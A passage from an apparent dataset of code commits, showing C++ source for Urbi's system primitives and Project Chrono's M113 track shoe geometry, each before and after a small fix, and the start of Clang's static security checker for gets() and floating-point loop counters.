args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, String);\n\n    UServer& s = r.lobby_get()->value_get().connection.server_get();\n    try\n    {\n      return String::fresh(libport::Symbol(\n\t\t\t     s.find_file(arg1->value_get ().name_get ())));\n    }\n    catch (libport::file_library::Not_found&)\n    {\n      throw\n\tPrimitiveError(\"searchFile\",\n\t\t       \"Unable to find file: \"\n\t\t       + arg1->value_get().name_get());\n      \/\/ Never reached\n      assertion(false);\n      return 0;\n    }\n  }\n\n  static rObject\n  system_class_loadFile (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, String);\n\n    std::string filename = arg1->value_get().name_get();\n\n    if (!libport::path (filename).exists ())\n      throw PrimitiveError(\"loadFile\",\n\t\t\t   \"No such file: \" + filename);\n\n    return\n      execute_parsed(r,\n                     parser::parse_file(filename),\n\t\t     PrimitiveError(\"\", \/\/same message than k1\n\t\t\t\t    \"Error loading file: \" + filename));\n  }\n\n  static rObject\n  system_class_currentRunner (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    rObject res = object::Object::fresh();\n    res->proto_add (task_class);\n    res->slot_set (SYMBOL (runner), box (scheduler::rJob, &r));\n    return res;\n  }\n\n  static rObject\n  system_class_cycle (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh (r.scheduler_get ().cycle_get ());\n  }\n\n  static rObject\n  system_class_fresh (runner::Runner&, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return String::fresh(libport::Symbol::fresh());\n  }\n\n  static rObject\n  system_class_lobby (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return r.lobby_get();\n  }\n\n  static rObject\n  system_class_nonInterruptible (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    r.non_interruptible_set (true);\n    return void_class;\n  }\n\n  static rObject\n  system_class_quit (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    r.lobby_get()->value_get().connection.close();\n    return void_class;\n  }\n\n  \/\/ This should give a backtrace as an urbi object.\n  static rObject\n  system_class_backtrace(runner::Runner& r, objects_type args)\n  {\n    \/\/ FIXME: This method sucks a bit, because show_backtrace sucks a\n    \/\/ bit, because our channeling\/message-sending system sucks a lot.\n    CHECK_ARG_COUNT (1);\n    runner::Runner::backtrace_type bt = r.backtrace_get();\n    bt.pop_back();\n    foreach (const runner::Runner::frame_type& elt,\n\t     boost::make_iterator_range(boost::rbegin(bt),\n\t\t\t\t\tboost::rend(bt)))\n      r.send_message_(\"backtrace\", elt.first + \" (\" + elt.second + \")\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_jobs(runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(1);\n    List::value_type res;\n    foreach(scheduler::rJob job, r.scheduler_get().jobs_get())\n      res.push_back(create_task_from_job(job));\n    return List::fresh(res);\n  }\n\n#define SERVER_SET_VAR(Function, Variable, Value)\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    CHECK_ARG_COUNT (1);\t\t\t\t\t\t\\\n    ::urbiserver->Variable = Value;\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_SET_VAR(debugoff, debugOutput, false)\n  SERVER_SET_VAR(debugon, debugOutput, true)\n  SERVER_SET_VAR(stopall, stopall, true)\n\n#undef SERVER_SET_VAR\n\n\n  void\n  system_class_initialize ()\n  {\n    \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n    DECLARE_PRIMITIVE(system, Name)\n\n    DECLARE(assert_);\n    DECLARE(backtrace);\n    DECLARE(currentRunner);\n    DECLARE(cycle);\n    DECLARE(debugoff);\n    DECLARE(debugon);\n    DECLARE(eval);\n    DECLARE(fresh);\n    DECLARE(jobs);\n    DECLARE(loadFile);\n    DECLARE(lobby);\n    DECLARE(nonInterruptible);\n    DECLARE(quit);\n    DECLARE(reboot);\n    DECLARE(registerAtJob);\n    DECLARE(searchFile);\n    DECLARE(shiftedTime);\n    DECLARE(shutdown);\n    DECLARE(sleep);\n    DECLARE(stopall);\n    DECLARE(time);\n#undef DECLARE\n  }\n\n}; \/\/ namespace object\n<commit_msg>Fix currentRunner.<commit_after>\/**\n ** \\file object\/system-class.cc\n ** \\brief Creation of the URBI object system.\n *\/\n\n\/\/#define ENABLE_DEBUG_TRACES\n#include <libport\/compiler.hh>\n\n#include <memory>\n#include <sstream>\n\n#include <binder\/bind.hh>\n\n#include <kernel\/userver.hh>\n#include <kernel\/uconnection.hh>\n\n#include <object\/alien.hh>\n#include <object\/system-class.hh>\n#include <object\/task-class.hh>\n\n#include <parser\/parse.hh>\n#include <parser\/parse-result.hh>\n\n#include <runner\/at-handler.hh>\n#include <runner\/runner.hh>\n#include <runner\/interpreter.hh>\n\n#include <ast\/nary.hh>\n\nnamespace object\n{\n  rObject system_class;\n\n  \/*--------------------.\n  | System primitives.  |\n  `--------------------*\/\n\n\n#define SERVER_FUNCTION(Function)\t\t\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    CHECK_ARG_COUNT (1);\t\t\t\t\t\t\\\n    ::urbiserver->Function();\t\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_FUNCTION(reboot)\n  SERVER_FUNCTION(shutdown)\n\n#undef SERVER_FUNCTION\n\n\n  static rObject\n  system_class_sleep (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, Float);\n    libport::utime_t deadline;\n    if (arg1->value_get() == std::numeric_limits<ufloat>::infinity())\n      deadline = std::numeric_limits<libport::utime_t>::max();\n    else\n      deadline = r.scheduler_get().get_time() +\n\tstatic_cast<libport::utime_t>(arg1->value_get() * 1000.0);\n    r.yield_until (deadline);\n    return void_class;\n  }\n\n  static rObject\n  system_class_time (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh(r.scheduler_get().get_time() \/ 1000.0);\n  }\n\n  static rObject\n  system_class_shiftedTime (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh ((r.scheduler_get().get_time() -\n\t\t\t  r.time_shift_get()) \/ 1000.0);\n  }\n\n  static rObject\n  execute_parsed (runner::Runner& r,\n                  parser::parse_result_type p, UrbiException e)\n  {\n    ast::rNary errs = new ast::Nary();\n    p->process_errors(*errs);\n    dynamic_cast<runner::Interpreter&>(r)(errs);\n    if (ast::rNary ast = p->ast_take())\n    {\n      ast = binder::bind(ast).unsafe_cast<ast::Nary>();\n      assert(ast);\n      return dynamic_cast<runner::Interpreter&>(r).eval(ast);\n    }\n    else\n      throw e;\n  }\n\n  static rObject\n  system_class_assert_(runner::Runner&, objects_type args)\n  {\n    CHECK_ARG_COUNT(3);\n    FETCH_ARG(2, String);\n    if (!is_true(args[1]))\n      throw PrimitiveError\n\t(\"assert_\",\n\t \"assertion `\" + arg2->value_get().name_get() + \"' failed\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_eval (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(2);\n    FETCH_ARG(1, String);\n    parser::parse_result_type p();\n    return\n      execute_parsed(r,\n                     parser::parse(arg1->value_get()),\n                     PrimitiveError(\"\",\n                                    std::string(\"Error executing command.\")));\n  }\n\n  static rObject\n  system_class_registerAtJob (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(4);\n    runner::register_at_job(dynamic_cast<runner::Interpreter&>(r),\n\t\t\t    args[1], args[2], args[3]);\n    return object::void_class;\n  }\n\n  static rObject\n  system_class_searchFile (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, String);\n\n    UServer& s = r.lobby_get()->value_get().connection.server_get();\n    try\n    {\n      return String::fresh(libport::Symbol(\n\t\t\t     s.find_file(arg1->value_get ().name_get ())));\n    }\n    catch (libport::file_library::Not_found&)\n    {\n      throw\n\tPrimitiveError(\"searchFile\",\n\t\t       \"Unable to find file: \"\n\t\t       + arg1->value_get().name_get());\n      \/\/ Never reached\n      assertion(false);\n      return 0;\n    }\n  }\n\n  static rObject\n  system_class_loadFile (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (2);\n    FETCH_ARG(1, String);\n\n    std::string filename = arg1->value_get().name_get();\n\n    if (!libport::path (filename).exists ())\n      throw PrimitiveError(\"loadFile\",\n\t\t\t   \"No such file: \" + filename);\n\n    return\n      execute_parsed(r,\n                     parser::parse_file(filename),\n\t\t     PrimitiveError(\"\", \/\/same message than k1\n\t\t\t\t    \"Error loading file: \" + filename));\n  }\n\n  static rObject\n  system_class_currentRunner (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    rObject res = object::Object::fresh();\n    res->proto_add (task_class);\n    res->slot_set (SYMBOL (job), box (scheduler::rJob, &r));\n    return res;\n  }\n\n  static rObject\n  system_class_cycle (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return Float::fresh (r.scheduler_get ().cycle_get ());\n  }\n\n  static rObject\n  system_class_fresh (runner::Runner&, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return String::fresh(libport::Symbol::fresh());\n  }\n\n  static rObject\n  system_class_lobby (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    return r.lobby_get();\n  }\n\n  static rObject\n  system_class_nonInterruptible (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    r.non_interruptible_set (true);\n    return void_class;\n  }\n\n  static rObject\n  system_class_quit (runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT (1);\n    r.lobby_get()->value_get().connection.close();\n    return void_class;\n  }\n\n  \/\/ This should give a backtrace as an urbi object.\n  static rObject\n  system_class_backtrace(runner::Runner& r, objects_type args)\n  {\n    \/\/ FIXME: This method sucks a bit, because show_backtrace sucks a\n    \/\/ bit, because our channeling\/message-sending system sucks a lot.\n    CHECK_ARG_COUNT (1);\n    runner::Runner::backtrace_type bt = r.backtrace_get();\n    bt.pop_back();\n    foreach (const runner::Runner::frame_type& elt,\n\t     boost::make_iterator_range(boost::rbegin(bt),\n\t\t\t\t\tboost::rend(bt)))\n      r.send_message_(\"backtrace\", elt.first + \" (\" + elt.second + \")\");\n    return void_class;\n  }\n\n  static rObject\n  system_class_jobs(runner::Runner& r, objects_type args)\n  {\n    CHECK_ARG_COUNT(1);\n    List::value_type res;\n    foreach(scheduler::rJob job, r.scheduler_get().jobs_get())\n      res.push_back(create_task_from_job(job));\n    return List::fresh(res);\n  }\n\n#define SERVER_SET_VAR(Function, Variable, Value)\t\t\t\\\n  static rObject\t\t\t\t\t\t\t\\\n  system_class_ ## Function (runner::Runner&, objects_type args)\t\\\n  {\t\t\t\t\t\t\t\t\t\\\n    CHECK_ARG_COUNT (1);\t\t\t\t\t\t\\\n    ::urbiserver->Variable = Value;\t\t\t\t\t\\\n    return void_class;\t\t\t\t\t\t\t\\\n  }\n\n  SERVER_SET_VAR(debugoff, debugOutput, false)\n  SERVER_SET_VAR(debugon, debugOutput, true)\n  SERVER_SET_VAR(stopall, stopall, true)\n\n#undef SERVER_SET_VAR\n\n\n  void\n  system_class_initialize ()\n  {\n    \/\/\/ \\a Call gives the name of the C++ function, and \\a Name that in Urbi.\n#define DECLARE(Name)\t\t\t\t\\\n    DECLARE_PRIMITIVE(system, Name)\n\n    DECLARE(assert_);\n    DECLARE(backtrace);\n    DECLARE(currentRunner);\n    DECLARE(cycle);\n    DECLARE(debugoff);\n    DECLARE(debugon);\n    DECLARE(eval);\n    DECLARE(fresh);\n    DECLARE(jobs);\n    DECLARE(loadFile);\n    DECLARE(lobby);\n    DECLARE(nonInterruptible);\n    DECLARE(quit);\n    DECLARE(reboot);\n    DECLARE(registerAtJob);\n    DECLARE(searchFile);\n    DECLARE(shiftedTime);\n    DECLARE(shutdown);\n    DECLARE(sleep);\n    DECLARE(stopall);\n    DECLARE(time);\n#undef DECLARE\n  }\n\n}; \/\/ namespace object\n<|endoftext|>"}
{"text":"<commit_before>\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ M113 track shoe subsystem (single pin).\n\/\/\n\/\/ =============================================================================\n\n#include \"chrono\/assets\/ChCylinderShape.h\"\n#include \"chrono\/assets\/ChTriangleMeshShape.h\"\n#include \"chrono\/assets\/ChColorAsset.h\"\n#include \"chrono\/utils\/ChUtilsInputOutput.h\"\n\n#include \"chrono_vehicle\/ChVehicleModelData.h\"\n\n#include \"m113\/M113_TrackShoe.h\"\n\nusing namespace chrono;\nusing namespace chrono::vehicle;\n\nnamespace m113 {\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Static variables\n\/\/ -----------------------------------------------------------------------------\nconst double M113_TrackShoe::m_shoe_height = 0.06;\nconst double M113_TrackShoe::m_shoe_pitch = 0.154;\nconst double M113_TrackShoe::m_shoe_mass = 18.02;\nconst chrono::ChVector<> M113_TrackShoe::m_shoe_inertia(0.22, 0.04, 0.25);\n\nconst double M113_TrackShoe::m_cyl_radius = 0.015;\nconst double M113_TrackShoe::m_front_cyl_loc = 0.0535;\nconst double M113_TrackShoe::m_rear_cyl_loc = -0.061;\n\nconst std::string M113_TrackShoe::m_meshName = \"TrackShoe_POV_geom\";\nconst std::string M113_TrackShoe::m_meshFile = vehicle::GetDataFile(\"M113\/TrackShoe.obj\");\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nM113_TrackShoe::M113_TrackShoe(VisualizationType vis_type) : ChSinglePinShoe(\"M113_TrackShoe\"), m_vis_type(vis_type) {\n    SetContactMaterial(0.4f, 0.1f, 1e8f, 0.3f);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nvoid M113_TrackShoe::AddShoeContact() {\n    m_shoe->GetCollisionModel()->ClearModel();\n    m_shoe->GetCollisionModel()->AddBox(0.055, 0.095, 0.03);\n    m_shoe->GetCollisionModel()->AddBox(0.0142, 0.0055, 0.0375, ChVector<>(0.05, 0, 0.0375));\n    m_shoe->GetCollisionModel()->BuildModel();\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nvoid M113_TrackShoe::AddShoeVisualization() {\n    switch (m_vis_type) {\n        case PRIMITIVES: {\n            ChSharedPtr<ChCylinderShape> rev_axis(new ChCylinderShape);\n            rev_axis->GetCylinderGeometry().p1 = ChVector<>(0.077, -0.15, 0);\n            rev_axis->GetCylinderGeometry().p2 = ChVector<>(0.077, 0.15, 0);\n            rev_axis->GetCylinderGeometry().rad = 0.01;\n            m_shoe->AddAsset(rev_axis);\n\n            ChSharedPtr<ChCylinderShape> cyl_FR(new ChCylinderShape);\n            cyl_FR->GetCylinderGeometry().p1 = ChVector<>(m_front_cyl_loc, -0.1402, 0);\n            cyl_FR->GetCylinderGeometry().p2 = ChVector<>(m_front_cyl_loc, -0.0512, 0);\n            cyl_FR->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_FR);\n\n            ChSharedPtr<ChCylinderShape> cyl_RR(new ChCylinderShape);\n            cyl_RR->GetCylinderGeometry().p1 = ChVector<>(m_rear_cyl_loc, -0.1402, 0);\n            cyl_RR->GetCylinderGeometry().p2 = ChVector<>(m_rear_cyl_loc, -0.0512, 0);\n            cyl_RR->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_RR);\n\n            ChSharedPtr<ChCylinderShape> cyl_FL(new ChCylinderShape);\n            cyl_FL->GetCylinderGeometry().p1 = ChVector<>(m_front_cyl_loc, 0.1402, 0);\n            cyl_FL->GetCylinderGeometry().p2 = ChVector<>(m_front_cyl_loc, 0.0512, 0);\n            cyl_FL->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_FL);\n\n            ChSharedPtr<ChCylinderShape> cyl_RL(new ChCylinderShape);\n            cyl_RL->GetCylinderGeometry().p1 = ChVector<>(m_rear_cyl_loc, 0.1402, 0);\n            cyl_RL->GetCylinderGeometry().p2 = ChVector<>(m_rear_cyl_loc, 0.0512, 0);\n            cyl_RL->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_RL);\n\n            ChSharedPtr<ChBoxShape> box_shoe(new ChBoxShape);\n            box_shoe->GetBoxGeometry().SetLengths(ChVector<>(0.11, 0.19, 0.06));\n            box_shoe->GetBoxGeometry().Pos = ChVector<>(0, 0, 0);\n            m_shoe->AddAsset(box_shoe);\n\n            ChSharedPtr<ChBoxShape> box_pin(new ChBoxShape);\n            box_pin->GetBoxGeometry().SetLengths(ChVector<>(0.0284, 0.0114, 0.075));\n            box_pin->GetBoxGeometry().Pos = ChVector<>(0.0562, 0, 0.0375);\n            m_shoe->AddAsset(box_pin);\n\n            ChSharedPtr<ChColorAsset> col(new ChColorAsset);\n            if (m_index == 0)\n                col->SetColor(ChColor(0.6f, 0.3f, 0.3f));\n            else if (m_index % 2 == 0)\n                col->SetColor(ChColor(0.3f, 0.6f, 0.3f));\n            else\n                col->SetColor(ChColor(0.3f, 0.3f, 0.6f));\n            m_shoe->AddAsset(col);\n\n            break;\n        }\n        case MESH: {\n            geometry::ChTriangleMeshConnected trimesh;\n            trimesh.LoadWavefrontMesh(m_meshFile, false, false);\n\n            ChSharedPtr<ChTriangleMeshShape> trimesh_shape(new ChTriangleMeshShape);\n            trimesh_shape->SetMesh(trimesh);\n            trimesh_shape->SetName(m_meshName);\n            m_shoe->AddAsset(trimesh_shape);\n\n            break;\n        }\n    }\n}\n\n}  \/\/ end namespace m113\n<commit_msg>Adjust contact geometry for M113 track shoe.<commit_after>\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ M113 track shoe subsystem (single pin).\n\/\/\n\/\/ =============================================================================\n\n#include \"chrono\/assets\/ChCylinderShape.h\"\n#include \"chrono\/assets\/ChTriangleMeshShape.h\"\n#include \"chrono\/assets\/ChColorAsset.h\"\n#include \"chrono\/utils\/ChUtilsInputOutput.h\"\n\n#include \"chrono_vehicle\/ChVehicleModelData.h\"\n\n#include \"m113\/M113_TrackShoe.h\"\n\nusing namespace chrono;\nusing namespace chrono::vehicle;\n\nnamespace m113 {\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ Static variables\n\/\/ -----------------------------------------------------------------------------\nconst double M113_TrackShoe::m_shoe_height = 0.06;\nconst double M113_TrackShoe::m_shoe_pitch = 0.154;\nconst double M113_TrackShoe::m_shoe_mass = 18.02;\nconst chrono::ChVector<> M113_TrackShoe::m_shoe_inertia(0.22, 0.04, 0.25);\n\nconst double M113_TrackShoe::m_cyl_radius = 0.015;\nconst double M113_TrackShoe::m_front_cyl_loc = 0.0535;\nconst double M113_TrackShoe::m_rear_cyl_loc = -0.061;\n\nconst std::string M113_TrackShoe::m_meshName = \"TrackShoe_POV_geom\";\nconst std::string M113_TrackShoe::m_meshFile = vehicle::GetDataFile(\"M113\/TrackShoe.obj\");\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nM113_TrackShoe::M113_TrackShoe(VisualizationType vis_type) : ChSinglePinShoe(\"M113_TrackShoe\"), m_vis_type(vis_type) {\n    SetContactMaterial(0.4f, 0.1f, 1e8f, 0.3f);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nvoid M113_TrackShoe::AddShoeContact() {\n    m_shoe->GetCollisionModel()->ClearModel();\n    m_shoe->GetCollisionModel()->AddBox(0.055, 0.095, 0.03);\n    m_shoe->GetCollisionModel()->AddBox(0.0142, 0.0055, 0.0375, ChVector<>(0.045, 0, 0.0375));\n    m_shoe->GetCollisionModel()->BuildModel();\n}\n\n\/\/ -----------------------------------------------------------------------------\n\/\/ -----------------------------------------------------------------------------\nvoid M113_TrackShoe::AddShoeVisualization() {\n    switch (m_vis_type) {\n        case PRIMITIVES: {\n            ChSharedPtr<ChCylinderShape> rev_axis(new ChCylinderShape);\n            rev_axis->GetCylinderGeometry().p1 = ChVector<>(0.077, -0.15, 0);\n            rev_axis->GetCylinderGeometry().p2 = ChVector<>(0.077, 0.15, 0);\n            rev_axis->GetCylinderGeometry().rad = 0.01;\n            m_shoe->AddAsset(rev_axis);\n\n            ChSharedPtr<ChCylinderShape> cyl_FR(new ChCylinderShape);\n            cyl_FR->GetCylinderGeometry().p1 = ChVector<>(m_front_cyl_loc, -0.1402, 0);\n            cyl_FR->GetCylinderGeometry().p2 = ChVector<>(m_front_cyl_loc, -0.0512, 0);\n            cyl_FR->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_FR);\n\n            ChSharedPtr<ChCylinderShape> cyl_RR(new ChCylinderShape);\n            cyl_RR->GetCylinderGeometry().p1 = ChVector<>(m_rear_cyl_loc, -0.1402, 0);\n            cyl_RR->GetCylinderGeometry().p2 = ChVector<>(m_rear_cyl_loc, -0.0512, 0);\n            cyl_RR->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_RR);\n\n            ChSharedPtr<ChCylinderShape> cyl_FL(new ChCylinderShape);\n            cyl_FL->GetCylinderGeometry().p1 = ChVector<>(m_front_cyl_loc, 0.1402, 0);\n            cyl_FL->GetCylinderGeometry().p2 = ChVector<>(m_front_cyl_loc, 0.0512, 0);\n            cyl_FL->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_FL);\n\n            ChSharedPtr<ChCylinderShape> cyl_RL(new ChCylinderShape);\n            cyl_RL->GetCylinderGeometry().p1 = ChVector<>(m_rear_cyl_loc, 0.1402, 0);\n            cyl_RL->GetCylinderGeometry().p2 = ChVector<>(m_rear_cyl_loc, 0.0512, 0);\n            cyl_RL->GetCylinderGeometry().rad = m_cyl_radius;\n            m_shoe->AddAsset(cyl_RL);\n\n            ChSharedPtr<ChBoxShape> box_shoe(new ChBoxShape);\n            box_shoe->GetBoxGeometry().SetLengths(ChVector<>(0.11, 0.19, 0.06));\n            box_shoe->GetBoxGeometry().Pos = ChVector<>(0, 0, 0);\n            m_shoe->AddAsset(box_shoe);\n\n            ChSharedPtr<ChBoxShape> box_pin(new ChBoxShape);\n            box_pin->GetBoxGeometry().SetLengths(ChVector<>(0.0284, 0.0114, 0.075));\n            box_pin->GetBoxGeometry().Pos = ChVector<>(0.045, 0, 0.0375);\n            m_shoe->AddAsset(box_pin);\n\n            ChSharedPtr<ChColorAsset> col(new ChColorAsset);\n            if (m_index == 0)\n                col->SetColor(ChColor(0.6f, 0.3f, 0.3f));\n            else if (m_index % 2 == 0)\n                col->SetColor(ChColor(0.3f, 0.6f, 0.3f));\n            else\n                col->SetColor(ChColor(0.3f, 0.3f, 0.6f));\n            m_shoe->AddAsset(col);\n\n            break;\n        }\n        case MESH: {\n            geometry::ChTriangleMeshConnected trimesh;\n            trimesh.LoadWavefrontMesh(m_meshFile, false, false);\n\n            ChSharedPtr<ChTriangleMeshShape> trimesh_shape(new ChTriangleMeshShape);\n            trimesh_shape->SetMesh(trimesh);\n            trimesh_shape->SetName(m_meshName);\n            m_shoe->AddAsset(trimesh_shape);\n\n            break;\n        }\n    }\n}\n\n}  \/\/ end namespace m113\n<|endoftext|>"}
{"text":"<commit_before>\/\/==- CheckSecuritySyntaxOnly.cpp - Basic security checks --------*- C++ -*-==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines a set of flow-insensitive security checks.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/Analysis\/PathSensitive\/BugReporter.h\"\n#include \"clang\/Analysis\/LocalCheckers.h\"\n#include \"clang\/AST\/StmtVisitor.h\"\n#include \"llvm\/Support\/Compiler.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nusing namespace clang;\n\nnamespace {\nclass VISIBILITY_HIDDEN WalkAST : public StmtVisitor<WalkAST> {\n  BugReporter &BR;  \n  IdentifierInfo *II_gets;  \npublic:\n  WalkAST(BugReporter &br) : BR(br),\n    II_gets(0) {}\n  \n  \/\/ Statement visitor methods.\n  void VisitCallExpr(CallExpr *CE);\n  void VisitForStmt(ForStmt *S);\n  void VisitStmt(Stmt *S) { VisitChildren(S); }\n\n  void VisitChildren(Stmt *S);\n  \n  \/\/ Helpers.\n  IdentifierInfo *GetIdentifier(IdentifierInfo *& II, const char *str);\n    \n  \/\/ Checker-specific methods.\n  void CheckLoopConditionForFloat(const ForStmt *FS);\n  void CheckCall_gets(const CallExpr *CE, const FunctionDecl *FD);\n};\n} \/\/ end anonymous namespace\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Helper methods.\n\/\/===----------------------------------------------------------------------===\/\/\n\nIdentifierInfo *WalkAST::GetIdentifier(IdentifierInfo *& II, const char *str) {\n  if (!II)\n    II = &BR.getContext().Idents.get(str);\n  \n  return II;  \n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ AST walking.\n\/\/===----------------------------------------------------------------------===\/\/\n\nvoid WalkAST::VisitChildren(Stmt *S) {\n  for (Stmt::child_iterator I = S->child_begin(), E = S->child_end(); I!=E; ++I)\n    if (Stmt *child = *I)\n      Visit(child);\n}\n\nvoid WalkAST::VisitCallExpr(CallExpr *CE) {\n  if (const FunctionDecl *FD = CE->getDirectCallee()) {\n    CheckCall_gets(CE, FD);    \n  }\n  \n  \/\/ Recurse and check children.\n  VisitChildren(CE);\n}\n\nvoid WalkAST::VisitForStmt(ForStmt *FS) {\n  CheckLoopConditionForFloat(FS);  \n\n  \/\/ Recurse and check children.\n  VisitChildren(FS);\n}\n\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ Check: floating poing variable used as loop counter.\n\/\/ Originally: <rdar:\/\/problem\/6336718>\n\/\/ Implements: CERT security coding advisory FLP-30.\n\/\/===----------------------------------------------------------------------===\/\/\n\nstatic const DeclRefExpr*\nGetIncrementedVar(const Expr *expr, const VarDecl *x, const VarDecl *y) {\n  expr = expr->IgnoreParenCasts();\n  \n  if (const BinaryOperator *B = dyn_cast<BinaryOperator>(expr)) {      \n    if (!(B->isAssignmentOp() || B->isCompoundAssignmentOp() ||\n          B->getOpcode() == BinaryOperator::Comma))\n      return NULL;\n      \n    if (const DeclRefExpr *lhs = GetIncrementedVar(B->getLHS(), x, y))\n      return lhs;\n      \n    if (const DeclRefExpr *rhs = GetIncrementedVar(B->getRHS(), x, y))\n      return rhs;\n      \n    return NULL;\n  }\n    \n  if (const DeclRefExpr *DR = dyn_cast<DeclRefExpr>(expr)) {\n    const NamedDecl *ND = DR->getDecl();\n    return ND == x || ND == y ? DR : NULL;\n  }\n   \n  if (const UnaryOperator *U = dyn_cast<UnaryOperator>(expr))\n    return U->isIncrementDecrementOp()\n      ? GetIncrementedVar(U->getSubExpr(), x, y) : NULL;\n\n  return NULL;\n}\n\n\/\/\/ CheckLoopConditionForFloat - This check looks for 'for' statements that\n\/\/\/  use a floating point variable as a loop counter.\n\/\/\/  CERT: FLP30-C, FLP30-CPP.\n\/\/\/\nvoid WalkAST::CheckLoopConditionForFloat(const ForStmt *FS) {\n  \/\/ Does the loop have a condition?\n  const Expr *condition = FS->getCond();\n  \n  if (!condition)\n    return;\n\n  \/\/ Does the loop have an increment?\n  const Expr *increment = FS->getInc();\n  \n  if (!increment)\n    return;\n    \n  \/\/ Strip away '()' and casts.\n  condition = condition->IgnoreParenCasts();\n  increment = increment->IgnoreParenCasts();\n  \n  \/\/ Is the loop condition a comparison?\n  const BinaryOperator *B = dyn_cast<BinaryOperator>(condition);\n\n  if (!B)\n    return;\n  \n  \/\/ The actual error condition.\n  if (!((B->isRelationalOp() || B->isEqualityOp()) &&\n        ((B->getLHS()->getType()->isFloatingType() ||\n          B->getRHS()->getType()->isFloatingType()))))\n    return;\n  \n  \/\/ Are we comparing variables?\n  const DeclRefExpr *drLHS = dyn_cast<DeclRefExpr>(B->getLHS()->IgnoreParens());\n  const DeclRefExpr *drRHS = dyn_cast<DeclRefExpr>(B->getRHS()->IgnoreParens());\n  \n  if (!drLHS && !drRHS)\n    return;\n\n  const VarDecl *vdLHS = drLHS ? dyn_cast<VarDecl>(drLHS->getDecl()) : NULL;\n  const VarDecl *vdRHS = drRHS ? dyn_cast<VarDecl>(drRHS->getDecl()) : NULL;\n  \n  if 